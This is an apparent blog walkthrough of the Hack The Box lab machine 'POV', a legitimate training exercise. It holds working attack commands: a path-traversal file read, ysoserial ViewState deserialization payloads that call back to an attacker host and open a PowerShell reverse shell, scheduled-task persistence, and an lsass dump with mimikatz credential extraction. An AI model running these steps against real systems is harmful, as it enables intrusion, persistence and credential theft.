Skip to content
Hack The Box2 min read

HTB - POV

POV - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



HTB - POV#

  • NMAP:
bash
nmap 10.129.24.175 -p-
sudo nmap -sUV -T4 -F --version-intensity 0 10.129.24.175

image1

Add pov.htb to /etc/hosts

  • Search for subdomains:
bash
gobuster dns -d pov.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

wfuzz -u pov.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.pov.htb" --hw 834

image2

image3

  • Add dev.pov.htb to /etc/hosts

  • Found another open port on the dev site - which is probably internal:

http://dev.pov.htb:8080

image4

  • Found an email: sfitz@pov.htb

  • On the dev page there is a download CV option:

image5

  • Opening it in Burp:

image6

  • POC - change file to a known Windows file:

image7

  • We can see that it gave us the \etc\hosts file

  • Since this is an IIS webserver we should be able to look at the web.config file:

bash
/web.config

image8

powershell
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell.exe Invoke-WebRequest -Uri http://10.10.14.66:8082/test.txt"

image9

  • Copy the generated payload and URL encode it on Cyberchef (all special chars):

image10

  • Copy the payload and paste into __VIEWSTATE=

  • Set up a python server to test

  • Send the Request

image11

  • We get a hit on our python server:

image12

  • Now change the payload to a Powershell reverse shell:

image13

  • Set up a listener
powershell
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties --path="/portfolio/default.aspx" --decryptionalg="AES" --decryptionkey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationkey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell.exe powershell -e JABjAGwAaQBlA…"

image14

URL Encode and paste into __VIEWSTATE=

image15

  • Got user shell:

image16

  • <u>Persistence:</u> Create msfvenom payload.

Rename it to .txt because the server doesn't allow .exe files to be uploaded it seems.

Upload msfvenom payload and start multi handler.

Change payload to .exe

Run:

bash
schtasks /create /sc minute /mo 1 /tn "a_innocent" /tr "C:\Users\Public\program.exe"

Run .\program.exe to upgrade to meterpreter shell

bash
net user

image17

  • In sfitz's Documents:

image18

There is a connection.xml file

image19

  • We get credentials for a PSSession from user alaading. The password is encrypted through Powershell.

  • This is the process of encryption:

image20

  • <u>We need to reverse the process:</u> $encryptedpwd = <The password we found>

# Decrypt the password $secureString = $encryptedpwd | ConvertTo-SecureString

# Convert the secure string to plain text $originalPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

# Output the original password Write-Host "Original Password: $originalPwd"

  • This can be done with a one-liner:
powershell
$originalPwd = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(("<encrypted_password>" | ConvertTo-SecureString)))
  
Write-Host "Original Password: $originalPwd"

image21

  • Got credentials: alaading : <password>

  • Upload a new meterpreter reverse shell

  • Upload RunasCs.exe

  • Set up listener

  • Run:

bash
.\RunasCs.exe alaading <password>".\reverse.exe"

image22

image23

image24

bash
whoami /all

image25

The SeDebugPrivilege is set

image26

  • Check the processes running:
bash
ps

image27

bash
migrate <PID>

image28

image29

<u>Another option -</u>

That didn't provide credentials here, apart from the ones we already had, is:

  • Upload procdump.exe

image30

  • Run:
bash
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp

image31

  • Upload mimikatz.exe

  • Run .\mimikatz.exe (in same directory as lsass.dmp):

bash
sekurlsa::minidump lsass.dmp

sekurlsa::logonpasswords

image32

Hack The Box5 min

HTB - Office

Office - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • gobuster
  • hashcat
  • impacket
  • kerberos
Hack The Box8 min

HTB - Analysis

Analysis - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • impacket
  • ldap
  • linux
  • nmap
Hack The Box2 min

HTB - Crafty

Crafty - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • ldap
  • linux
  • nmap
  • powershell
  • privilege escalation